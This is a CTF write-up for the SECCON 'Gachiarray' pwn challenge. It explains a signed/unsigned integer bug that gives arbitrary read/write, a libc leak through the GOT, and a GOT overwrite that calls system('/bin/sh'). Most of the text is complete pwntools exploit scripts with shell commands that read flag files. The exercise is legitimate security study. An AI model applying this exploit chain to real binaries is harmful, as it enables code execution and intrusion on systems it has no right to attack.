Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnMedium

Gachiarray (Pwn)

CTF writeup for Gachiarray (Pwn) from SECCON

//Gachiarray (PWN) Writeup

Author: ptr-yudai  

Challenge: Gachiarray  

Category: PWN  

Remote: nc gachiarray.seccon.games 5000  

Flag: SECCON{A=B;print(B);and_now_A_is_not_B_how?}


>Table of Contents

  1. Challenge Overview

  2. Initial Recon

  3. Vulnerability Analysis

  4. Exploitation Strategy

  5. Local Exploit Development

  6. Remote Adaptation

  7. Full Exploit Code

  8. Conclusion


>Challenge Overview

The challenge provides a simple array manipulation service written in C. Users can:

  • Initialize an array with a given capacity, size, and initial value

  • Read/write elements at specific indices

  • Resize the array

The binary is not position-independent (No PIE), making global variables and the GOT at fixed addresses.


>Initial Recon

Files Provided

main.c         - Source code chall          - Compiled binary Dockerfile     - Uses ubuntu:24.04 compose.yml    - Docker Compose config

Binary Protections

bash

$ checksec ./chall

Arch:     amd64-64-little

RELRO:    Partial RELRO

Stack:    No canary found

NX:       NX enabled

PIE:      No PIE (0x400000)

FORTIFY:  Enabled

SHSTK:    Enabled

IBT:      Enabled

Stripped: No
  • No PIE: Fixed addresses for globals and GOT

  • Partial RELRO: GOT is writable after relocation

  • NX: Stack is non-executable

  • No Canary: No stack protection

Key Data Structures

c

typedef union {

  struct {

    int32_t capacity;

    int32_t size;

    int32_t initial;

  };

  struct {

    int32_t op;

    int32_t index;

    int32_t value;

  };

} pkt_t;

  

struct {

  uint32_t size;

  uint32_t capacity;

  int32_t initial;

  int32_t *data;

} g_array;
  • pkt_t is a 12-byte union used for all communication

  • g_array is a global struct at fixed address 0x404070


>Vulnerability Analysis

The Core Bug: Signed/Unsigned Integer Mismatch

The vulnerability lies in the type mismatch between:

  • Input packet fields: int32_t (signed)

  • Global array fields: uint32_t (unsigned)

Critical Code Paths

1. Array Initialization (array_init)

c

void array_init(pkt_t *pkt) {

  // Note: distributed binary has a bug where it prints size instead of capacity

  // but the logic remains the same

  g_array.data = (int*)malloc(pkt->capacity * sizeof(int));

  g_array.size = pkt->size;           // int32_t -> uint32_t

  g_array.capacity = pkt->capacity;   // int32_t -> uint32_t

  for (size_t i = 0; i < pkt->size; i++)

    g_array.data[i] = pkt->initial;

}

2. Array Resize (main case 3)

c

case 3: // resize

  if (g_array.capacity < pkt.size)    // uint32_t < int32_t (signed comparison)

    fatal("Over capacity");

  for (int i = g_array.size; i < pkt.size; i++)  // int i, uint32_t g_array.size, int32_t pkt.size

    g_array.data[i] = g_array.initial;

  g_array.size = pkt.size;            // int32_t -> uint32_t

  break;

The Exploitation Primitive

When pkt->size is negative (e.g., -1):

  1. In array_init: g_array.size = 0xffffffff (very large unsigned)

  2. In resize: The comparison g_array.capacity < pkt.size fails because -1 is small as signed

  3. The loop for (int i = g_array.size; i < pkt.size; i++) becomes:

   - i starts at a large unsigned value

   - pkt.size is -1 (signed)

   - Loop continues until i wraps around to -1

This allows out-of-bounds write beyond the allocated buffer!

Even Better: The malloc-fail Trick

If we initialize with capacity = -1, size = -1:

  • malloc(-1 * 4) fails → g_array.data = NULL

  • g_array.capacity = 0xffffffff, g_array.size = 0xffffffff

  • Later resize(-1) sets g_array.size to 0xffffffff without touching memory

Now get/set operations calculate addresses as:

c

addr = g_array.data + index * 4  // NULL + index * 4 = index * 4

Since index is sign-extended, we get absolute address read/write for any address in the low canonical half!


>Exploitation Strategy

Step 1: Gain Arbitrary Read/Write

  1. Send init packet: capacity = -1, size = -1, initial = 0

  2. This forces malloc to fail → g_array.data = NULL

  3. Send resize packet: size = -1

  4. Now we have absolute address read/write via get/set

Step 2: Leak libc Base

  1. Use get to read read@GOT at 0x404008

  2. Calculate libc base: libc_base = read_addr - read_offset

Step 3: Hijack Control Flow

  1. Calculate system address: system_addr = libc_base + system_offset

  2. Overwrite __fprintf_chk@GOT (at 0x404028) with system_addr

  3. Overwrite stderr pointer (at 0x404060) to point to "/bin/sh"

  4. Trigger fatal() → calls fprintf(stderr, ...)system("/bin/sh")

Step 4: Get the Flag

  1. After getting shell, run cat /srv/flag-*

  2. Capture and print the flag


>Local Exploit Development

Testing the Primitive

First, let's verify our arbitrary read/write:

python

#!/usr/bin/env python3

from pwn import *

  

def p32s(x):

    return p32(x & 0xFFFFFFFF, signed=False)

  

def i32(x):

    x &= 0xFFFFFFFF

    return x if x < 0x80000000 else x - 0x100000000

  

def send_pkt(io, a, b, c):

    io.send(p32(a & 0xFFFFFFFF) + p32(b & 0xFFFFFFFF) + p32(c & 0xFFFFFFFF))

  

def op_get(io, index):

    send_pkt(io, 1, i32(index), 0)

    return int(io.recvline().split(b"=")[1])

  

def op_set(io, index, value):

    send_pkt(io, 2, i32(index), i32(value))

    io.recvline()

  

# Test arbitrary read/write

io = process("./chall")

  

# Init with malloc failure

send_pkt(io, i32(-1), i32(-1), 0)

io.recvline()

  

# Resize to set size = 0xffffffff

send_pkt(io, 3, i32(-1), 0)

io.recvline()

  

# Try reading GOT entry

read_got = 0x404008

read_addr = op_get(io, read_got // 4) | (op_get(io, read_got // 4 + 1) << 32)

print(f"read@GOT: {hex(read_addr)}")

This successfully leaks the read function address!

Building the Full Local Exploit

python

#!/usr/bin/env python3

from pwn import *

  

BIN_PATH = "./chall"

LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"

  

elf = context.binary = ELF(BIN_PATH)

libc = ELF(LIBC_PATH)

  

def p32s(x):

    return p32(x & 0xFFFFFFFF, signed=False)

  

def i32(x):

    x &= 0xFFFFFFFF

    return x if x < 0x80000000 else x - 0x100000000

  

def send_pkt(io, a, b, c):

    io.send(p32(a & 0xFFFFFFFF) + p32(b & 0xFFFFFFFF) + p32(c & 0xFFFFFFFF))

  

def op_get(io, index):

    send_pkt(io, 1, i32(index), 0)

    return int(io.recvline().split(b"=")[1])

  

def op_set(io, index, value):

    send_pkt(io, 2, i32(index), i32(value))

    io.recvline()

  

def main():

    io = process(BIN_PATH)

    # Step 1: Get arbitrary read/write

    send_pkt(io, i32(-1), i32(-1), 0)

    io.recvline()

    send_pkt(io, 3, i32(-1), 0)

    io.recvline()

    # Step 2: Leak libc base

    read_got = elf.got["read"]

    read_addr = op_get(io, read_got // 4) | (op_get(io, read_got // 4 + 1) << 32)

    libc.address = read_addr - libc.symbols["read"]

    print(f"[+] libc base: {hex(libc.address)}")

    print(f"[+] system: {hex(libc.symbols['system'])}")

    # Step 3: Hijack control flow

    fprintf_got = elf.got["__fprintf_chk"]

    stderr_addr = 0x404060  # Fixed address due to No PIE

    # Write "/bin/sh" to writable location

    binsh_addr = 0x404068  # Gap in .bss

    op_set(io, binsh_addr // 4, u32(b"/bin"))

    op_set(io, binsh_addr // 4 + 1, u32(b"/sh\x00"))

    # Overwrite GOT and stderr

    op_set(io, fprintf_got // 4, libc.symbols["system"] & 0xFFFFFFFF)

    op_set(io, fprintf_got // 4 + 1, (libc.symbols["system"] >> 32) & 0xFFFFFFFF)

    op_set(io, stderr_addr // 4, binsh_addr & 0xFFFFFFFF)

    op_set(io, stderr_addr // 4 + 1, (binsh_addr >> 32) & 0xFFFFFFFF)

    # Step 4: Trigger shell

    send_pkt(io, 1, -1, 0)  # This will call fatal()

    # Get flag

    io.sendline(b"cat /srv/flag-* 2>/dev/null")

    print(io.recvline().decode())

if __name__ == "__main__":

    main()

Running this locally gives us a shell and the flag!


>Remote Adaptation

The Challenge

The remote service uses Ubuntu 24.04's libc, which may have different offsets than our local system. We need the exact libc to calculate system correctly.

Solution: Extract Remote libc

Since the Dockerfile specifies ubuntu:24.04, we can extract the exact libc:

bash

docker pull ubuntu:24.04

cid=$(docker create ubuntu:24.04)

docker cp "$cid":/lib/x86_64-linux-gnu/libc.so.6 ./libc-ubuntu24.so.6

docker rm "$cid"

Updated Remote Exploit

The exploit is the same, but we specify the correct libc:

bash

python3 solve.py REMOTE LIBC=./libc-ubuntu24.so.6

>Full Exploit Code

Final solve.py

python

#!/usr/bin/env python3

from pwn import *

  

BIN_PATH = "./chall"

LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"

  

elf = context.binary = ELF(BIN_PATH)

  

context.log_level = os.environ.get("LOG", "info")

  
  

def p32s(x: int) -> bytes:

    return p32(x & 0xFFFFFFFF, signed=False)

  
  

def i32(x: int) -> int:

    x &= 0xFFFFFFFF

    return x if x < 0x80000000 else x - 0x100000000

  
  

def send_pkt(io, a: int, b: int, c: int):

    io.send(p32(a & 0xFFFFFFFF) + p32(b & 0xFFFFFFFF) + p32(c & 0xFFFFFFFF))

  
  

def op_get(io, index: int) -> int:

    send_pkt(io, 1, i32(index), 0)

    line = io.recvline()

    # b"array[%d] = %d\n"

    val = int(line.split(b"=")[1].strip())

    return val & 0xFFFFFFFF

  
  

def op_set(io, index: int, value: int):

    send_pkt(io, 2, i32(index), i32(value))

    io.recvline()

  
  

def op_resize(io, new_size: int):

    send_pkt(io, 3, i32(new_size), 0)

    io.recvline()

  
  

def arb_read32(io, addr: int) -> int:

    assert addr % 4 == 0

    idx = addr // 4

    return op_get(io, idx)

  
  

def arb_write32(io, addr: int, value: int):

    assert addr % 4 == 0

    idx = addr // 4

    op_set(io, idx, value)

  
  

def arb_read64(io, addr: int) -> int:

    lo = arb_read32(io, addr)

    hi = arb_read32(io, addr + 4)

    return lo | (hi << 32)

  
  

def arb_write64(io, addr: int, value: int):

    arb_write32(io, addr, value & 0xFFFFFFFF)

    arb_write32(io, addr + 4, (value >> 32) & 0xFFFFFFFF)

  
  

def start():

    if args.REMOTE:

        host = args.HOST or "gachiarray.seccon.games"

        port = int(args.PORT or 5000)

        return remote(host, port)

    return process(BIN_PATH)

  
  

def main():

    io = start()

  

    libc_path = args.LIBC or LIBC_PATH

    libc = ELF(libc_path)

  

    # Force malloc failure: g_array.data = NULL, g_array.capacity = 0xffffffff, g_array.size = 0

    send_pkt(io, i32(-1), i32(-1), 0)

    io.recvline()

  

    # Set g_array.size = 0xffffffff without touching memory (loop is skipped)

    op_resize(io, -1)

  

    read_got = elf.got["read"]

    fprintf_got = elf.got["__fprintf_chk"]

  

    read_addr = arb_read64(io, read_got)

  

    libc.address = read_addr - libc.symbols["read"]

    system_addr = libc.symbols["system"]

    log.info(f"read@GLIBC:   {hex(read_addr)}")

    log.info(f"libc base:    {hex(libc.address)}")

    log.info(f"system:       {hex(system_addr)}")

  

    stderr_addr = elf.symbols.get("stderr", 0x404060)

  

    # Use the 8-byte gap at 0x404068 for "/bin/sh\x00".

    # Layout (no PIE):

    # 0x404040 stdout (8)

    # 0x404050 stdin  (8)

    # 0x404060 stderr (8)

    # 0x404068 gap    (8)  <-- here

    # 0x404070 g_array ...

    binsh_addr = 0x404068

    arb_write32(io, binsh_addr + 0, u32(b"/bin"))

    arb_write32(io, binsh_addr + 4, u32(b"/sh\x00"))

  

    arb_write64(io, fprintf_got, system_addr)

    arb_write64(io, stderr_addr, binsh_addr)

  

    # Trigger fatal("Out-of-bounds") => system(stderr) => system("/bin/sh")

    send_pkt(io, 1, -1, 0)

  

    marker = b"__END__"

    io.sendline(b"cat /srv/flag-* 2>/dev/null; cat /app/flag-* 2>/dev/null; cat /flag-* 2>/dev/null; echo " + marker)

    data = io.recvuntil(marker + b"\n", timeout=5)

    io.sendline(b"exit")

  

    try:

        print(data.decode(errors="ignore"), end="")

    except Exception:

        print(data)

  
  

if __name__ == "__main__":

    main()

>Conclusion

The Gachiarray challenge demonstrates a classic signed/unsigned integer conversion vulnerability. The key insights were:

  1. Type Mismatch: int32_t input values being stored in uint32_t globals

  2. malloc-fail Trick: Using negative capacity to force malloc failure and get g_array.data = NULL

  3. Absolute Addressing: With data = NULL, array access becomes absolute address read/write

  4. GOT Overwrite: Partial RELRO allows us to overwrite __fprintf_chk@GOT with system

  5. Remote libc: Extracting the exact libc from Ubuntu 24.04 for correct offsets

The exploit chain:

malloc-fail → arbitrary read/write → leak libc → GOT overwrite → system("/bin/sh") → flag

This challenge highlights the importance of careful type handling in C and how No PIE + Partial RELRO can make exploitation much more straightforward.

Final Flag: SECCON{A=B;print(B);and_now_A_is_not_B_how?}